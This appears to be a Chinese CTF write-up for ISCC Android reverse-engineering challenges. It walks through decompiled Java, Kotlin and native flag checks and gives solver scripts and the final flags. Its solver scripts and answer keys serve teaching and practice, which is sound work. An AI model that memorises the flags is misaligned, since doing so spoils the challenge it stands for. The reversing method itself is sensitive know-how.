Label_0526_Outer:
while (j < bytes.length) {
final byte b3 = bytes[j];
if (b3 != 67) {
if (b3 != 73) {
if (b3 != 83 || j != 1) {
break Label_0214;
}
} else if (j > 0) {
break Label_0214;
}
} else if (j < 2) {
break Label_0214;
}
++j;
continue;
final boolean b4 = false;
if (b4) {
final byte[] bytes2 = substring3.getBytes(StandardCharsets.UTF_8);
final byte[] bytes3 = substring4.getBytes(StandardCharsets.UTF_8);
int k = 0;
while (true) {
Label_0526:
while (true) {
while (k < 4) {
final int n2 = bytes2[k] + bytes3[k];
if (n2 != 110 && n2 != 126 && n2 != 185 && n2 != 192) {
final boolean b5 = false;
if (!b5) {
break Label_0678;
}
final byte[] encode = Base64.getEncoder().encode(substring5.getBytes(StandardCharsets.UTF_8));
for (int l = 0; l < 6; ++l) {
final byte b6 = encode[l];
if (b6 != 68) {
if (b6 != 81) {
if (b6 != 90) {
if (b6 != 106) {
if (b6 != 108) {
break Label_0678;
}
if (l != 2) {
break Label_0678;
}
}
else if (l > 1) {
break Label_0678;
}
}
else if (l % 3 == 2) {
break Label_0678;
}
}
else if (l < 5) {
break Label_0678;
}
}
else if (l != 3) {
break Label_0678;
}
}
if (encode[0] > encode[1]) {
break Label_0678;
}
b7 = true;
break Label_0680;
}
else {
++k;
}
}
int n3 = 0;
while (n3 < 3) {
final byte b8 = bytes2[n3];
final int n4 = n3 + 1;
final int n5 = b8 ^ bytes2[n4];
n3 = n4;
if (n5 != 5) {
n3 = n4;
if (n5 == 44) {
continue Label_0526_Outer;
}
n3 = n4;
if (n5 != 96) {
continue Label_0526;
}
continue Label_0526_Outer;
}
}
for (int n6 = 0; n6 < 4; ++n6) {
final int n7 = bytes2[n6] ^ bytes3[n6];
if (n7 != 0 && n7 != 53 && n7 != 62 && n7 != 126) {
continue Label_0526;
}
}
int n8 = 0;
while (n8 < 3) {
final byte b9 = bytes3[n8];
final int n9 = n8 + 1;
final int n10 = b9 ^ bytes3[n9];
n8 = n9;
if (n10 != 39) {
n8 = n9;
if (n10 == 85) {
continue Label_0526_Outer;
}
n8 = n9;
if (n10 != 123) {
continue Label_0526;
}
continue Label_0526_Outer;
}
}
int n12;
for (int n11 = 0; n11 < 2; n11 = n12) {
final byte b10 = bytes2[n11];
n12 = n11 + 1;
final int n13 = bytes2[n11 + 2] ^ (b10 ^ bytes2[n12]);
if (n13 != 27 && n13 != 82) {
continue Label_0526;
}
}
break;
}
final boolean b5 = true;
continue;
}
}
break Label_0678;
}
if (bytes[0] + bytes[1] + bytes[2] + bytes[3] != 290) {
continue Label_0214;
}
break;
}
final boolean b4 = true;
continue;
}
}
}
b7 = false;
}
boolean b11 = b;
if (b7) {
a = a.substring(16);
if (a.length() < 16) {
b11 = b;
}
else {
final w1.a b12 = this.b;
final String substring6 = a.substring(0, 16);
Objects.requireNonNull(b12);
final String substring7 = substring6.substring(0, 5);
final String substring8 = substring6.substring(5, 10);
final String substring9 = substring6.substring(10);
Objects.requireNonNull(b12.a);
final byte[] bytes4 = substring7.getBytes(StandardCharsets.UTF_8);
for (int n14 = 0; n14 < 5; ++n14) {
bytes4[n14] -= 20;
bytes4[n14] ^= 0x5;
}
int n19 = 0;
Label_1208: {
if (Arrays.equals(bytes4, new byte[] { 74, 62, 28, 32, 60 })) {
Objects.requireNonNull(b12.a);
boolean b13 = false;
Label_1045: {
try {
final String s = new String(Base64.getEncoder().encode(MessageDigest.getInstance("MD5").digest(substring8.getBytes(StandardCharsets.UTF_8))));
if (s.length() == 24) {
final char[] array = new char[24];
int n15 = 0;
int n16 = 0;
while (i >= 0) {
if (n15 == 0) {
for (int n17 = 5; n17 >= 0; --n17) {
array[n16] = s.charAt(n17 * 4 + i);
++n16;
}
n15 = 1;
}
else {
for (int n18 = 0; n18 <= 5; ++n18) {
array[n16] = s.charAt(n18 * 4 + i);
++n16;
}
n15 = 0;
}
--i;
}
if (String.valueOf(array).equals("=K5blEMshGi=QLwCzVS1LUPy")) {
b13 = true;
break Label_1045;
}
}
}
catch (final NoSuchAlgorithmException ex) {
ex.printStackTrace();
}
b13 = false;
}
if (b13) {
Objects.requireNonNull(b12.a);
try {
final Base64.Encoder encoder = Base64.getEncoder();
final byte[] encode2 = encoder.encode(substring7.getBytes(StandardCharsets.UTF_8));
final byte[] encode3 = encoder.encode(substring8.getBytes(StandardCharsets.UTF_8));
final byte[] bytes5 = substring9.getBytes(StandardCharsets.UTF_8);
final SecretKeySpec secretKeySpec = new SecretKeySpec(encode2, "DES");
final IvParameterSpec ivParameterSpec = new IvParameterSpec(encode3);
final Cipher instance = Cipher.getInstance("DES/CBC/PKCS7Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
if (new String(encoder.encode(encoder.encodeToString(instance.doFinal(bytes5)).getBytes(StandardCharsets.UTF_8))).equals("SE9QN3RsOXBpVW89")) {
n19 = n;
break Label_1208;
}
}
catch (final Exception ex2) {
ex2.printStackTrace();
}
}
}
n19 = 0;
}
b11 = b;
if (n19 != 0) {
a = a.substring(16);
if (a.length() > 100) {
b11 = b;
}
else if (!this.a.substring(32).equals(a)) {
b11 = b;
}
else {
b11 = this.b(a);
}
}
}
}
return b11;
}
}FernFlower给出的结果如下：
//
// Decompiled by FernFlower - 1019ms
//
package tk.mcsog.iscc;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
import java.util.Objects;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class a {
public String a;
public w1.a b = new w1.a();
static {
System.loadLibrary("iscc");
}
private native boolean b(String var1);
public final boolean a(String var1) {
this.a = var1;
int var2 = var1.length();
boolean var3 = false;
if (var2 < 16) {
return false;
} else {
String var5;
int var6;
boolean var7;
String var9;
int var10;
boolean var23;
String var24;
byte[] var26;
byte[] var31;
label296: {
w1.a var4 = this.b;
var5 = var1.substring(0, 16);
Objects.requireNonNull(var4);
var2 = var5.length();
var6 = 3;
var7 = true;
if (var2 == 16) {
String var8 = var5.substring(0, 4);
var9 = var5.substring(4, 8);
var24 = var5.substring(8, 12);
var5 = var5.substring(12, 16);
byte[] var28 = var8.getBytes(StandardCharsets.UTF_8);
var2 = 0;
label292: {
while(true) {
if (var2 >= var28.length) {
if (var28[0] + var28[1] + var28[2] + var28[3] == 290) {
var23 = true;
break label292;
}
break;
}
var10 = var28[var2];
if (var10 != 67) {
if (var10 != 73) {
if (var10 != 83 || var2 < 1 || var2 > 1) {
break;
}
} else if (var2 > 0) {
break;
}
} else if (var2 < 2) {
break;
}
++var2;
}
var23 = false;
}
if (var23) {
var31 = var9.getBytes(StandardCharsets.UTF_8);
byte[] var25 = var24.getBytes(StandardCharsets.UTF_8);
var2 = 0;
label272: {
label271:
while(true) {
if (var2 >= 4) {
var2 = 0;
int var11;
while(var2 < 3) {
var11 = var31[var2];
var10 = var2 + 1;
var11 ^= var31[var10];
var2 = var10;
if (var11 != 5) {
var2 = var10;
if (var11 != 44) {
var2 = var10;
if (var11 != 96) {
break label271;
}
}
}
}
for(var2 = 0; var2 < 4; ++var2) {
var10 = var31[var2] ^ var25[var2];
if (var10 != 0 && var10 != 53 && var10 != 62 && var10 != 126) {
break label271;
}
}
var2 = 0;
byte var33;
while(var2 < 3) {
var33 = var25[var2];
var10 = var2 + 1;
var11 = var33 ^ var25[var10];
var2 = var10;
if (var11 != 39) {
var2 = var10;
if (var11 != 85) {
var2 = var10;
if (var11 != 123) {
break label271;
}
}
}
}
for(var2 = 0; var2 < 2; var2 = var10) {
var33 = var31[var2];
var10 = var2 + 1;
byte var12 = var31[var10];
var2 = var31[var2 + 2] ^ var33 ^ var12;
if (var2 != 27 && var2 != 82) {
break label271;
}
}
var23 = true;
break label272;
}
var10 = var31[var2] + var25[var2];
if (var10 != 110 && var10 != 126 && var10 != 185 && var10 != 192) {
break;
}
++var2;
}
var23 = false;
}
if (var23) {
var26 = Base64.getEncoder().encode(var5.getBytes(StandardCharsets.UTF_8));
var2 = 0;
while(true) {
if (var2 >= 6) {
if (var26[0] <= var26[1]) {
var23 = true;
break label296;
}
break;
}
byte var34 = var26[var2];
if (var34 != 68) {
if (var34 != 81) {
if (var34 != 90) {
if (var34 != 106) {
if (var34 != 108 || var2 != 2) {
break;
}
} else if (var2 > 1) {
break;
}
} else if (var2 % 3 == 2) {
break;
}
} else if (var2 < 5) {
break;
}
} else if (var2 != 3) {
break;
}
++var2;
}
}
}
}
var23 = false;
}
boolean var13 = var3;
if (var23) {
var1 = var1.substring(16);
if (var1.length() < 16) {
var13 = var3;
} else {
w1.a var29 = this.b;
var24 = var1.substring(0, 16);
Objects.requireNonNull(var29);
var9 = var24.substring(0, 5);
var5 = var24.substring(5, 10);
var24 = var24.substring(10);
Objects.requireNonNull(var29.a);
byte[] var14 = var9.getBytes(StandardCharsets.UTF_8);
for(var2 = 0; var2 < 5; ++var2) {
var14[var2] = (byte)(var14[var2] - 20);
var14[var2] = (byte)(var14[var2] ^ 5);
}
label197: {
if (Arrays.equals(var14, new byte[]{74, 62, 28, 32, 60})) {
Objects.requireNonNull(var29.a);
label193: {
label192: {
label191: {
NoSuchAlgorithmException var10000;
label309: {
boolean var10001;
String var36;
try {
MessageDigest var15 = MessageDigest.getInstance("MD5");
Base64.Encoder var16 = Base64.getEncoder();
var36 = new String(var16.encode(var15.digest(var5.getBytes(StandardCharsets.UTF_8))));
if (var36.length() != 24) {
break label192;
}
} catch (NoSuchAlgorithmException var22) {
var10000 = var22;
var10001 = false;
break label309;
}
char[] var38;
try {
var38 = new char[24];
} catch (NoSuchAlgorithmException var21) {
var10000 = var21;
var10001 = false;
break label309;
}
boolean var35 = false;
var2 = 0;
label183:
while(true) {
if (var6 < 0) {
try {
var13 = String.valueOf(var38).equals("=K5blEMshGi=QLwCzVS1LUPy");
break label191;
} catch (NoSuchAlgorithmException var18) {
var10000 = var18;
var10001 = false;
break;
}
}
if (!var35) {
for(var10 = 5; var10 >= 0; --var10) {
try {
var38[var2] = var36.charAt(var10 * 4 + var6);
} catch (NoSuchAlgorithmException var19) {
var10000 = var19;
var10001 = false;
break label183;
}
++var2;
}
var35 = true;
} else {
for(var10 = 0; var10 <= 5; ++var10) {
try {
var38[var2] = var36.charAt(var10 * 4 + var6);
} catch (NoSuchAlgorithmException var20) {
var10000 = var20;
var10001 = false;
break label183;
}
++var2;
}
var35 = false;
}
--var6;
}
}
NoSuchAlgorithmException var37 = var10000;
var37.printStackTrace();
break label192;
}
if (var13) {
var23 = true;
break label193;
}
}
var23 = false;
}
if (var23) {
label314: {
Objects.requireNonNull(var29.a);
try {
Base64.Encoder var30 = Base64.getEncoder();
var31 = var30.encode(var9.getBytes(StandardCharsets.UTF_8));
var14 = var30.encode(var5.getBytes(StandardCharsets.UTF_8));
var26 = var24.getBytes(StandardCharsets.UTF_8);
SecretKeySpec var27 = new SecretKeySpec(var31, "DES");
IvParameterSpec var39 = new IvParameterSpec(var14);
Cipher var32 = Cipher.getInstance("DES/CBC/PKCS7Padding");
var32.init(1, var27, var39);
var24 = new String(var30.encode(var30.encodeToString(var32.doFinal(var26)).getBytes(StandardCharsets.UTF_8)));
var13 = var24.equals("SE9QN3RsOXBpVW89");
} catch (Exception var17) {
var17.printStackTrace();
break label314;
}
if (var13) {
var23 = var7;
break label197;
}
}
}
}
var23 = false;
}
var13 = var3;
if (var23) {
var1 = var1.substring(16);
if (var1.length() > 100) {
var13 = var3;
} else if (!this.a.substring(32).equals(var1)) {
var13 = var3;
} else {
var13 = this.b(var1);
}
}
}
}
return var13;
}
}
}咱们两个都参考一下，主要以Procyon的为主，因为变量名舒服一点。
看开头可以发现，先把flag的前16位按四位一组给拆开了。
首先[0:4]是个稍微有点混淆的判断，实际意思是：
flag[0:16][0:4][2]==flag[0:16][0:4][3]==67
flag[0:16][0:4][0]=73
flag[0:16][0:4][1] == 83也就是flag[0:16][0:4]=="ISCC"。
然后看下面，应该是Procyon出了点问题，逻辑是错的，不过那个sum(flag[0:16][0:4])==290咱们已经满足了：67+67+73+83==290。
那就去看看FernFlower的，可以看到在判断完sum(flag[0:16][0:4])==290之后，那个边界条件是被改变了的，所以放心进去就行。
可以看到先是flag[0:16][4:8][i]+flag[0:16][8:12][i]混着比了四轮，确保四个和是110、126、185、192，不过具体下标不确定。
比完四轮后，进入上方>=4的条件，可以看出是在比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]是不是5、44、96，下标还是不确定。
然后又是四轮flag[0:16][4:8][i]^flag[0:16][8:12][i]比，看结果是不是0、53、62、126，下标还是不确定。
然后和上上个比较一样，只不过把flag[0:16][4:8]换成了flag[0:16][8:12]，结果是39、85、123。
然后又是比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]^flag[0:16][4:8][i+2]比了两轮，结果是27、82。
最后成功到达边界，进入下个判断块。
然后下个判断块是关于flag[0:16][12:16]的，所以上面flag[0:16][4:8]和flag[0:16][8:12]可以写个脚本爆破出来了。
from string import printable
for x1 in {5, 44, 96}:
for x2 in {5, 44, 96}:
if x2 == x1:
continue
for x3 in {5, 44, 96}:
if x3 == x1 or x3 == x2:
continue
for y1 in {39,85,123}:
for y2 in {39,85,123}:
if y2 == y1:
continue
for y3 in {39,85,123}:
if y3 == y1 or y3 == y2:
continue
for i in printable:
a1 = ord(i)
a2 = a1 ^ x1
a3 = a2 ^ x2
a4 = a3 ^ x3
for j in printable:
b1 = ord(j)
b2 = b1 ^ y1
b3 = b2 ^ y2
b4 = b3 ^ y3
if a1 + b1 not in {110, 126, 185, 192}:
continue
if a2 + b2 not in {110, 126, 185, 192}:
continue
if a3 + b3 not in {110, 126, 185, 192}:
continue
if a4 + b4 not in {110, 126, 185, 192}:
continue
if a1 ^ b1 not in {0, 53, 62, 126}:
continue
if a2 ^ b2 not in {0, 53, 62, 126}:
continue
if a3 ^ b3 not in {0, 53, 62, 126}:
continue
if a4 ^ b4 not in {0, 53, 62, 126}:
continue
print(chr(a1) + chr(a2) + chr(a3) + chr(a4))
print(chr(b1) + chr(b2) + chr(b3) + chr(b4))得到flag[0:16][4:8]=="{W72"、flag[0:16][4:8]=="Eb7L"。
然后来看flag[0:16][12:16]，主要逻辑就是先走6轮循环，判断base64(flag[0:16][12:16])的每位分别满足：
base64(flag[0:16][12:16])[3]==68
base64(flag[0:16][12:16])[5]==81
base64(flag[0:16][12:16])[0|1|4]==90
base64(flag[0:16][12:16])[0|1]==106
base64(flag[0:16][12:16])[2]==108
然后6轮循环后，去保证base64(flag[0:16][12:16])[0] <= base64(flag[0:16][12:16])[1]，所以base64(flag[0:16][12:16])[0]和base64(flag[0:16][12:16])[0]的取值有三种情况，90 90、90 106、106 106，那么base64(flag[0:16][12:16])分别是ZZlDZQ、ZjlDZQ、jjlDZQ，只有ZjlDZQ解base64后没有不可输出字符，所以flag[0:16][12:16]="f9Ce"。
然后再来看后半段判断块，把flag[16:32]给拆成了flag[16:32][0:5]、flag[16:32][5:10]、flag[16:32][10:16]。
这里先是对flag[16:32][0:5]按位异或了一波，然后比较。
直接写脚本解。
a = [74, 62, 28, 32, 60]
for i in range(5):
a[i] = a[i]^5
a[i] = a[i]+20
print(bytearray(a).decode())得到flag[16:32][0:5]="cO-9M"。
然后来看flag[16:32][5:10]的，就是先算出base64(md5(flag[16:32][5:10]))，然后进行一波映射，得到=K5blEMshGi=QLwCzVS1LUPy。
写个脚本逆就完事。
b = bytearray(b"=K5blEMshGi=QLwCzVS1LUPy")
c = bytearray(24)
x = 0
j = 23
while x <= 3:
if x % 2 == 1:
for i in range(0, 6):
c[i*4+x] = b[j]
j -= 1
else:
for i in range(5, -1, -1):
c[i*4+x] = b[j]
j -= 1
x += 1
print(c)
print(base64.b64decode(c.decode()).hex())得到md5值495304d73b252c285b5301b93cb88ac9。
反查得到flag[16:32][5:10]="87Ed-"。
然后看flag[16:32][10:16]，是用base64(flag[16:32][0:5])当key，用base64(flag[16:32][5:10])当iv，做DES/CBC/PKCS7Padding加密后再打了两重base64得到SE9QN3RsOXBpVW89，那先解一重base64得到HOP7tl9piUo=。
然后去解一下DES，得到flag[16:32][10:16]="T46O4f"。
最后是对flag[32:]传给b函数校验。
b果然是native函数。
那就用ida打开libso。
主要逻辑就是for循环处理b[n-i]=a[i]^i，然后和目标结果比较。
写脚本直接逆。
a = r"""e'" &pv&(L;hIjkZ%7S66O`,D""".encode()
for i in range(25):
print(chr(a[24-i]^i), end="")得到flag[32:]="D-bL23U0-SaaEe5C87dc2540}"
拼接所有得到flag。
ISCC{W72Eb7Lf9CecO-9M87Ed-T46O4fD-bL23U0-SaaEe5C87dc2540}
好玩的？是新语言哦
尝试安装apk，发现安装不上，检查发现apk限制的安卓版本最低要求是API 32。
但实际上API 32还是测试版本，所以在手机上直接安装是不行的，要么选择在 Google 提供的Android版本为API 32的虚拟机中安装，要么修改AndroidManifest.xml文件来降低版本限制。
本处选择后者的方法，在任意安卓反编译工具中修改android:minSdkVersion字段小于等于自己的系统API版本即可。
安装后发现需要提供id和flag进行校验，于是尝试逆向。
发现/* compiled from: MainActivity.kt */字样以及多处import kotlin.*，说明编译自kotlin语言。
首先找到check按钮的挂载事件，名为m0onCreate$lambda3。
观察其主要逻辑发现应该是kotlin的语法糖相关功能，实际核心内容就是取id和flag调用m1onCreate$lambda3$check，然后根据结果打toast。
观察目标函数，可以清晰发现有两条数据流。
其中id作为随机数种子产生一个随机数发生器记作Random，并产生了32字节的byte[]记作nextBytes，再把nextBytes每字节异或id，将结果记作arrayList，再将arrayList作为基数用之前的随机数发生器Random产生新的随机byte[]记作nextBytes2，最后把nextBytes每字节异或id后转成byte加上了Min_VALUE = 128，然后取16模，得到了arrayList2作为最终参与校验的数据。
而flag先判断头尾是否是ISCC{...}，然后去掉头尾得到substring，再转成byte[]得到bytes，每一字节判断是否在97~102之间，是的话减去87，或者在48~57之间就减去48，否则归零，记作arrayList4，然后将其转换成mutableList，并循环32轮，每轮执行mutableList[i ^ 23] = mutableList[i ^ 23] ^ mutableList[(i+1) % 32]，将其也作为最终参与校验的数据。
最后判断二者相等即flag正确。
所以按思路写个逆向的flag计算脚本，此处以id=1为例。
import kotlin.random.Random
val id = 1
val random = Random(id)
val nextBytes = random.nextBytes(32)
val arrayList = nextBytes.map { (it.toInt() xor id).toByte() }
val nextBytes2 = random.nextBytes(arrayList.toByteArray())
val arrayList2 = nextBytes2.map { (it.toInt() xor id).toByte() }.map{ (it.toInt() + 128) % 16 }.toMutableList()
for (j in 31 downTo 0) {
arrayList2[j xor 23] = arrayList2[j xor 23] xor arrayList2[(j + 1) % 32]
}
val flag = String(arrayList2.map {
when(it) {
in 10..15 -> it+87
in 0..9 -> it+48
else -> 0
}.toByte()
}.toByteArray())
println("ISCC{$flag}")
运行结果为ISCC{1ff0bf7a101849722ef2b8249c8551fd}，在app中输入发现如下提示：
于是再次以id=114514运行脚本得到flag。
ISCC{19fb4dd02ea64ca8c96c868f6c5434e4}
EasyCryMobile
这题jadx打开可以发现3个activity都绑定了事件到w1.a类。
而其onClick分成了三个分支。
不过实际上就是调用各自activity里的native函数a去校验，所以咱去看libso就行。
ida打开，先看第一个校验函数。
主要就是对传进来的字符串每个字符进行s * s * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619，然后和下面的五个数比较。
不过这边数据是一个变量存了俩字符的结果，所以有高低位，存储顺序是先低后高，所以写个脚本爆就完事。
flag = bytearray(5)
for v12 in range(1, 128):
v13 = v12 * v12
v21 = v13 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001
if v21 == 42349:
flag[0] = v12
elif v21 == 12496:
flag[1] = v12
elif v21 == 33079:
flag[2] = v12
flag[3] = v12
elif v21 == 44552:
flag[4] = v12
print(flag.decode())
得到第一关的通关字符串ISCC{。
然后再去看第二个校验函数，实际上就是走个148轮的s = s * s % 37523。
不过这边需要注意的是，校验结果存储是v16[4]开始，但是校验的时候，前面v16[4]和v17的低位都没管，直接从v17的高位开始的，所以也就是说这边通关字符串前5字节无所谓，那大概是让填之前的ISCC{。
那就接着写脚本爆破。
flag = bytearray(5)
for i in range(0, 128):
v8 = i
for _ in range(148):
v8 = v8 * i % 37523
if v8 == 556:
flag[0] = i
elif v8 == 7101:
flag[1] = i
elif v8 == 1168:
flag[2] = i
elif v8 == 13899:
flag[3] = i
elif v8 == 18708:
flag[4] = i
print(flag.decode())得到第二关的通关字符串的需要校验的部分Ez_M0。
最后来看第三个校验函数，这边我为了方便把变量名改成flag_对应的位置了，可以看到主要就是(s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1。
而最后的判定条件就是：
flag_12 ^ flag_14 = 0x5FD3
flag_13 ^ flag_9 = 0x477
flag_14 ^ flag_8 ^ flag_2 = 0x6171
flag_16 ^ flag_10 = 0x2CD9
flag_11 ^ flag_15 = 0xD05
flag_10 ^ flag_12 = 0x1F77
flag_13 = 0x5112
flag_15 = 0x6D3E
flag_6 ^ flag_16 ^ flag_10 = 0x246E
flag_5 ^ flag_1 = 0x6880
flag_8 ^ flag_2 = 0x242D
flag_3 ^ flag_7 = 0x4681
flag_2 ^ flag_4 = 0x6E55
flag_5 = 0x34AE
flag_4 ^ flag_6 ^ flag_16 ^ flag_10 = 0x7499
flag_7 = 0x1676整理一下已知量和未知量，以及之前两次校验已知的flag1~flag10，就可以解方程了。
先去生成前两次校验已知的flag1~flag10。
for i, s in enumerate(b"ISCC{Ez_M0"):
s = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
print(f"flag_{i+1} = {hex(s)}")# 前两关已知
flag_1 = 0x5c2e
flag_2 = 0x3ea2
flag_3 = 0x50f7
flag_4 = 0x50f7
flag_5 = 0x34ae
flag_6 = 0x8b7
flag_7 = 0x1676
flag_8 = 0x1a8f
flag_9 = 0x5565
flag_10 = 0x5f8
# 已知
flag_13 = 0x5112
flag_15 = 0x6D3E
# 用来初始校验
assert flag_5 == 0x34AE
assert flag_7 == 0x1676
assert flag_5 ^ flag_1 == 0x6880
assert flag_3 ^ flag_7 == 0x4681
assert flag_2 ^ flag_4 == 0x6E55
assert flag_8 ^ flag_2 == 0x242D
assert flag_13 ^ flag_9 == 0x477
# 用来解
flag_11 = flag_15 ^ 0xD05 # 解 flag_11
flag_14 = flag_8 ^ flag_2 ^ 0x6171 # 解 flag_14
flag_16 = flag_10 ^ 0x2CD9 # 解 flag_16
flag_12 = flag_10 ^ 0x1F77 # 解 flag_12
# 用来二次校验
assert flag_6 ^ flag_16 ^ flag_10 == 0x246E
assert flag_4 ^ flag_6 ^ flag_16 ^ flag_10 == 0x7499
assert flag_12 ^ flag_14 == 0x5FD3
最后回去爆破flag就完事。
flag = bytearray(6)
for s in range(0, 128):
v8 = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
if v8 == 0x603b:
flag[0] = s
elif v8 == 0x1a8f:
flag[1] = s
elif v8 == 0x5112:
flag[2] = s
elif v8 == 0x455c:
flag[3] = s
elif v8 == 0x6d3e:
flag[4] = s
elif v8 == 0x2921:
flag[5] = s
print(flag.decode())得到最后一段flagb_R5A}。
拼接得到flag。
ISCC{Ez_M0b_R5A}
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